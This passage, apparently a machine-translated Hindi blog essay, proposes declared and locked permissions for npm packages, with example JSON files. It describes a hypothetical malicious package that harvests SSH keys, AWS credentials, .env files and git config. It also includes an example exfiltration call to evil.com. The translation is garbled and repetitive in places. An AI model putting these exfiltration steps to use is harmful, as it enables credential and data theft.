рдХреБрдЫ рджрд┐рдиреЛрдВ рдкрд╣рд▓реЗ, рдореИрдВрдиреЗ рдкрд╣рд▓реА рдмрд╛рд░ рдПрдХ рдирдП рдлреЛрди рдкрд░ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдФрд░ рдпрд╣ рд╕рдВрджреЗрд╢ рджреЗрдЦрд╛: "рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдЖрдкрдХреЗ рд╕рдВрдкрд░реНрдХреЛрдВ рддрдХ рдкрд╣реБрдВрдЪрдирд╛ рдЪрд╛рд╣реЗрдЧрд╛ред"
рдкрд╣рд▓реЗ рддреЛ рдпрд╣ рд╕рдВрджреЗрд╢ рдореБрдЭреЗ рдереЛрдбрд╝рд╛ рджреБрдЦрдж рд▓рдЧрд╛ (рдРрд╕рд╛ рд▓рдЧрддрд╛ рдерд╛ рдХрд┐ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдЕрдХреЗрд▓рд╛ рдерд╛), рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдиреЗ рдореБрдЭреЗ рд╕реЛрдЪрдиреЗ рдкрд░ рдордЬрдмреВрд░ рдХрд░ рджрд┐рдпрд╛ ...
рдХреНрдпрд╛ рд╣реЛрдЧрд╛ рдЕрдЧрд░, рдлреЛрди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рддрд░рд╣, рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рдЕрдкрдиреЗ рдХрд╛рдо рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдВ рдШреЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА? рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде,
package.json
рдкреИрдХреЗрдЬ рдлрд╝рд╛рдЗрд▓ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддреА рд╣реИ:
{ "name": "fancy-logger", "version": "0.1.0", "permissions": { "browser": ["network"], "node": ["http", "fs"] }, "etcetera": "etcetera" }
Npmjs.com рдкрд░, рдкреИрдХреЗрдЬ рдкреЗрдЬ рдХреЗ
рдПрдХ рд╣рд┐рд╕реНрд╕реЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред
рдРрд╕рд╛ рдЕрдиреБрдорддрд┐ рдЕрдиреБрднрд╛рдЧ npm рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕рд╛рдЗрдЯ рдкрд░ рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛ рд╕рдХрддрд╛ рд╣реИредрдХрд┐рд╕реА рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП рдЗрд╕ рддрд░рд╣ рдХреА рдЕрдиреБрдорддрд┐ рд╕реВрдЪрд┐рдпрд╛рдБ рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЕрдкрдиреА рд╕рднреА рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдПрдХ рд╕рдВрдпреЛрдЬрди рд╣реЛ рд╕рдХрддреА рд╣реИрдВред
fancy-logger
рдкреИрдХреЗрдЬ рдХреА
permissions
рдХреА рд╕рд╛рдордЧреНрд░реА рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбреЗрд╡рд▓рдкрд░ рдХреЛ рдпрд╣ рд╕реЛрдЪрдиреЗ рдкрд░
fancy-logger
рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХрдВрд╕реЛрд▓ рдХреЛ рдХреБрдЫ рд▓рд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдкреИрдХреЗрдЬ рдХреЛ
http
рдореЙрдбреНрдпреВрд▓ рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИ рдФрд░ рдпрд╣ рдХреБрдЫ рд╕рдВрджрд┐рдЧреНрдз рд▓рдЧрддрд╛ рд╣реИред
рд╡рд╣ рджреБрдирд┐рдпрд╛ рдХреНрдпрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕рдореЗрдВ npm рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рдЕрдиреБрдорддрд┐ рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛? рд╢рд╛рдпрдж рдХрд┐рд╕реА рдХреЛ рдЗрд╕рдореЗрдВ рдмрд╛рдд рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧреА, рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╣рд╕реВрд╕ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рдордп-рдкрд░реАрдХреНрд╖рдгрд┐рдд рдкреНрд░рдХрд╛рд╢рдХреЛрдВ рд╕реЗ рдХреЗрд╡рд▓ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреИрдХреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рд╕рднреА рдХреЗ рд▓рд┐рдП рдЬреЛ рдЗрд╕реЗ рдХрдордЬреЛрд░ рдорд╣рд╕реВрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрдврд╝рддрд╛ рд╣реИ, рдпрд╣рд╛рдВ рдПрдХ рдЫреЛрдЯреА рдХрд╣рд╛рдиреА рд╣реИред
рдореИрдВ рдЖрдкрдХреЗ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░реЛрдВ рдХреЛ рдХреИрд╕реЗ рдЪреБрд░рд╛рддрд╛ рд╣реВрдБ рдЗрд╕рдХреА рдХрд╣рд╛рдиреА
рдореИрдВ рдПрдХ рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬ рдмрдирд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ рдЬрд┐рд╕реЗ
space-invaders
рдХрд╣рд╛ рдЬрд╛рддрд╛
space-invaders
ред рдпрд╣ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рдерд╛ рдХрд┐ рдХрдВрд╕реЛрд▓ рдореЗрдВ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЧреЗрдо рдХреЛ рд▓рд┐рдЦрдХрд░ рдЧреЗрдо рдХреИрд╕реЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╕рд╛рде рд╣реА рд╕рд╛рде npm рд╕рдВрдХреБрд▓ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░ рдореЗрд░реА рдмрд╛рдд рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рддрд╛ рд╣реИред
рдЖрдк рдЗрд╕ рдЧреЗрдо рдХреЛ рдЗрд╕ рдХрдорд╛рдВрдб рд╕реЗ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:
npx space-invaders
ред рдЗрд╕рдХреЗ рд▓реЙрдиреНрдЪ рдХреЗ рдмрд╛рдж, рдХреЛрдИ рднреА рддреБрд░рдВрдд рдПрд▓рд┐рдпрдВрд╕ рдкрд░ рд╢реВрдЯрд┐рдВрдЧ рд╢реБрд░реВ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╕рдордп рдХреЛ рдорд╛рд░ рд╕рдХрддрд╛ рд╣реИред
рдЖрдк рдЗрд╕ рдЦреЗрд▓ рдХреЛ рдкрд╕рдВрдж рдХрд░реЗрдВрдЧреЗ, рдЖрдк рдЗрд╕реЗ рджреЛрд╕реНрддреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╛рдЭрд╛ рдХрд░реЗрдВрдЧреЗ, рд╡реЗ рднреА рдЗрд╕реЗ рдкрд╕рдВрдж рдХрд░реЗрдВрдЧреЗред
рдпрд╣ рд╕рдм рдмрд╣реБрдд рд╕рдХрд╛рд░рд╛рддреНрдордХ рджрд┐рдЦрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди, рдЖрдкрдХрд╛ рдордиреЛрд░рдВрдЬрди рдХрд░рддреЗ рд╣реБрдП, рдЦреЗрд▓
space-invaders
рдЕрдкрдирд╛
space-invaders
, рдЕрд░реНрдерд╛рддреН рдХреБрдЫ рдбреЗрдЯрд╛ рдХрд╛ рд╕рдВрдЧреНрд░рд╣ред рдпрд╣
~/.aws/credentials
~/.ssh/
,
~/.aws/credentials
рд╕реЗ,
~/.aws/credentials
рдФрд░ рдЕрдиреНрдп рд╕рдорд╛рди рд╕реНрдерд╛рдиреЛрдВ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░реЗрдЧрд╛ред рд╕рднреА
.env
рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕рд╛рдордЧреНрд░реА рдкрдврд╝реЗрдВ, рдЬреЛ
process.env
рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреА рд╣реИ
.env
, рд▓реБрдХ рд╕рд╣рд┐рдд
process.env
git рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП (рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рдХрд┐рд╕рдХреА рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рддрд╛ рд╣реИ), рдФрд░ рдлрд┐рд░ рд╡рд╣ рдпрд╣ рд╕рдм рдореЗрд░реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрддрд╛ рд╣реИред
рдореИрдВрдиреЗ рдРрд╕рд╛ рдХреЛрдИ рдЦреЗрд▓ рдирд╣реАрдВ рд▓рд┐рдЦрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреБрдЫ рд╕рдордп рд╕реЗ рдореИрдВ рдЕрд╕рд╣рдЬ рдорд╣рд╕реВрд╕ рдХрд░ рд░рд╣рд╛ рдерд╛, рдФрд░ рдЬрдм рдореИрдВ
npm install
рдХрдорд╛рдВрдб рдЪрд▓рд╛рддрд╛ рд╣реВрдВ, рддреЛ рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдореЗрд░рд╛ рд╕рд┐рд╕реНрдЯрдо рдХрд┐рддрдирд╛ рдХрдордЬреЛрд░ рд╣реИред рдЕрдм, рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рдкреНрд░рдЧрддрд┐ рд╕рдВрдХреЗрддрдХ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдореИрдВ рд╕реЛрдЪрддрд╛ рд╣реВрдВ рдХрд┐ рдореЗрд░реЗ рд▓реИрдкрдЯреЙрдк рдкрд░ рдХрд┐рддрдиреЗ рдорд╛рдирдХ рдлрд╝реЛрд▓реНрдбрд░ рдФрд░ рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ рдЬрд┐рдирдХреА рд╕рд╛рдордЧреНрд░реА рдЧрд▓рдд рд╣рд╛рдереЛрдВ рдореЗрдВ рдирд╣реАрдВ рдкрдбрд╝рдиреА рдЪрд╛рд╣рд┐рдПред
рдФрд░ рдпрд╣ рд╕рд┐рд░реНрдл рдореЗрд░реЗ рдХрд╛рд░реНрдпрдХреНрд╖реЗрддреНрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореБрдЭреЗ рдпрд╣ рднреА рдкрддрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЙрддреНрдкрд╛рджрди рд╕рд░реНрд╡рд░ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрд░реА рд╕рд╛рдЗрдЯ рдЕрд╕реЗрдВрдмрд▓реА рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдХреБрдЫ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдореЗрдВ рдбреЗрдЯрд╛ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред рдпрджрд┐ рдХрд╣реАрдВ рдРрд╕рд╛ рдбреЗрдЯрд╛ рд╣реИ, рддреЛ рдЖрдк рдРрд╕реА рд╕реНрдерд┐рддрд┐ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг npm-package рдореЗрд░реЗ рдХрд╛рд░реНрдпрд╢реАрд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИред рддрдм рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ
SELECT * from users
рдЖрджреЗрд╢
SELECT * from users
рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░
http.get('http://evil.com/that-data')
ред рд╢рд╛рдпрдж рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рдХрд╛рд░рдг рдпрд╣ рдареАрдХ рдерд╛ рдХрд┐ рдореБрдЭреЗ рд╕рд▓рд╛рд╣ рджреА рдЧрдИ рдереА рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╕рд╛рджреЗ рдкрд╛рда рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП?
рдпрд╣ рд╕рдм рдмрд╣реБрдд рдбрд░рд╛рд╡рдирд╛ рд▓рдЧ рд░рд╣рд╛ рд╣реИ, рдФрд░ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣реЛ рд░рд╣реА рд╣реИ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рдХрд╣рдирд╛ рдмрд┐рд▓реНрдХреБрд▓ рдЕрд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдпрд╣ рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ)ред
рдЗрд╕рдХреЗ рд╕рд╛рде, рд╢рд╛рдпрдж, рд╣рдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рдХреА рдЪреЛрд░реА рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрдВрдЧреЗред рдЪрд▓реЛ npm рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╡рд┐рд╖рдп рдкрд░ рд╡рд╛рдкрд╕ рдЖрддреЗ рд╣реИрдВред
рд▓реЙрдХ рдХреА рдЕрдиреБрдорддрд┐ рдкрд░рд┐рд╡рд░реНрддрди
рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ npm рд╕рд╛рдЗрдЯ рдХреЛ рджреЗрдЦрддреЗ рд╕рдордп рдкреИрдХреЗрдЬ рджреНрд╡рд╛рд░рд╛ рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реЛрдЧрд╛ред рд▓реЗрдХрд┐рди рдпрд╣ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗрд╡рд▓ рддрдм рд╣реА рдЕрдЪреНрдЫреА рд╣реЛрддреА рд╣реИ рдЬрдм рдХрд┐рд╕реА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдордп рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
Npm рдореЗрдВ рдПрдХ рд╣рд╛рд▓рд┐рдпрд╛ рдШрдЯрдирд╛ рдореЗрдВ, рдХрд┐рд╕реА рдиреЗ рдкрд╣рд▓реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдкреИрдХреЗрдЬ рдХрд╛ рдкреИрдЪ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛, рдФрд░ рдлрд┐рд░ рдПрдХ рдорд╛рдореВрд▓реА рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдкрд╣рд▓реЗ рд╣реА рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрди рджреЛ рдШрдЯрдирд╛рдУрдВ рдХреЗ рдмреАрдЪ рдХрд╛ рд╕рдордп рдЦрддрд░рдирд╛рдХ рдкреИрдХреЗрдЬ рдХреЗ рдХрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдерд╛ред
рдпрд╣реА рд╕рдорд╕реНрдпрд╛ рд╣реИред рдРрд╕реЗ рдкреИрдХреЗрдЬ рдирд╣реАрдВ рдЬреЛ рдореИрд▓рд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП рд╣реИрдВ рдФрд░ рд╣рд░ рд╕рдордп рдмрдиреЗ рд░рд╣рддреЗ рд╣реИрдВред рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдЙрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреИрдХреЗрдЬ рдореЗрдВ рдЖрдк рдЪреБрдкрдЪрд╛рдк рдХреБрдЫ рдмреБрд░рд╛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдереЛрдбрд╝реА рджреЗрд░ рдХреЗ рдмрд╛рдж рдЗрд╕реЗ рд╡рд╣рд╛рдВ рд╕реЗ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╣рдо рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдореЗрдВ рд╕рдВрдХреБрд▓ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕реЗрдЯ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрдВрддреНрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
рд╢рд╛рдпрдж рдпрд╣
package-permissions.json
рдлрд╝рд╛рдЗрд▓ рдЬреИрд╕рд╛ рдХреБрдЫ рд╣реЛрдЧрд╛ рдЬреЛ Node.js рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рдЙрди рдкреИрдХреЗрдЬреЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рд╣реЛрддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде, рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рднреА рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧрд╛, рди рдХрд┐ рдХреЗрд╡рд▓ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ
package.json
рдлрд╝рд╛рдЗрд▓ рдХреА
dependencies
рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╣реИрдВред
рдпрд╣рд╛рдБ
package-permissions.json
рдХреНрдпрд╛ рд╣реИрдВред
package-permissions.json
рдлрд╝рд╛рдЗрд▓ рджрд┐рдЦ рд╕рдХрддреА рд╣реИред
{ "node": { "http": [ "express", "stream-http" ], "fs": [ "fs-extra", "webpack", "node-sass" ] }, "browser": { "network": [ "whatwg-fetch", "new-relic" ] } }
рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдкреИрдХреЗрдЬ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВред
рдЕрдм рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рджрд┐рди рдЖрдк рджреЛ рд╕реМ рдирд┐рд░реНрднрд░рддрд╛ рд╡рд╛рд▓реЗ рдПрдХ рдкреИрдХреЗрдЬ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЕрдкрдбреЗрдЯ рднреА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрди рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреИрдЪ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЕрдЪрд╛рдирдХ
http
Node.js.
рдпрджрд┐ рдРрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ
npm install
рдХрдорд╛рдВрдб рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд╕рдорд╛рди рд╕рдВрджреЗрд╢ рдХреЗ рд╕рд╛рде рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛: тАЬ
add-two-number
рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП
fancy-logger
рдкреИрдХреЗрдЬ рдХреА рдЬрд░реВрд░рдд рд╣реИ рдЬреЛ
http
Node.js. рддрдХ рдкрд╣реБрдВрдЪ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред рдЗрд╕реЗ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП
npm update-permissions add-two-numbers
рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ, рдлрд┐рд░
npm install
рдХрдорд╛рдВрдб рдлрд┐рд░ рд╕реЗ рдЪрд▓рд╛рдПрдБред "
рдпрд╣рд╛рдВ,
fancy-logger
рдкреИрдХреЗрдЬ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ
package.json
рдореЗрдВ рд╣реИред
package.json
рдлрд╝рд╛рдЗрд▓ (рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдЖрдк рдЗрд╕ рдкреИрдХреЗрдЬ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд╣реИрдВ), рдФрд░
add-two-numbers
рдкреИрдХреЗрдЬ рдПрдХ
fancy-logger
рдирд┐рд░реНрднрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдХрднреА рдирд╣реАрдВ рд╕реБрдирд╛ рд╣реИред
рдмреЗрд╢рдХ, рднрд▓реЗ рд╣реА рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ "рдмреНрд▓реЙрдХ" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реИ, рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдмрд┐рдирд╛ рдХреБрдЫ рд╕реЛрдЪреЗ-рд╕рдордЭреЗ рдирдИ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВрдЧреЗред рд▓реЗрдХрд┐рди, рдХрдо рд╕реЗ рдХрдо,
package-permissions.json
рдореЗрдВ рдПрдХ рдмрджрд▓рд╛рд╡редрдЬреЗрд╕рди рдкреБрд▓ рдЕрдиреБрд░реЛрдз рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛, рдЕрд░реНрдерд╛рдд, рдПрдХ рдФрд░ рдореМрдХрд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдПрдХ рдФрд░ рдЕрдзрд┐рдХ рдЬрд┐рдореНрдореЗрджрд╛рд░ рдбреЗрд╡рд▓рдкрд░ рдЗрд╕ рдкрд░ рдзреНрдпрд╛рди рджреЗрдЧрд╛ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП npm рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬрдм рдкреИрдХреЗрдЬ рд╕рдВрдХреБрд▓ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреБрдж рд╣реА рд╕реНрдерд┐рддрд┐ рдмрджрд▓ рдЬрд╛рддреА рд╣реИ рдЬрдм рдЙрдирдХреЗ рдкреИрдХреЗрдЬреЛрдВ рдХреА рдирд┐рд░реНрднрд░рддрд╛ рдкреЗрдбрд╝ рдореЗрдВ рдХрд╣реАрдВ рдмрджрд▓ рдЬрд╛рддреА рд╣реИред рд╢рд╛рдпрдж - рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдИ-рдореЗрд▓ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛:
"рдирдорд╕реНрддреЗ,
fancy-logger
рд▓реЗрдЦрдХред рд╣рдо рдЖрдкрдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐
add-two-number
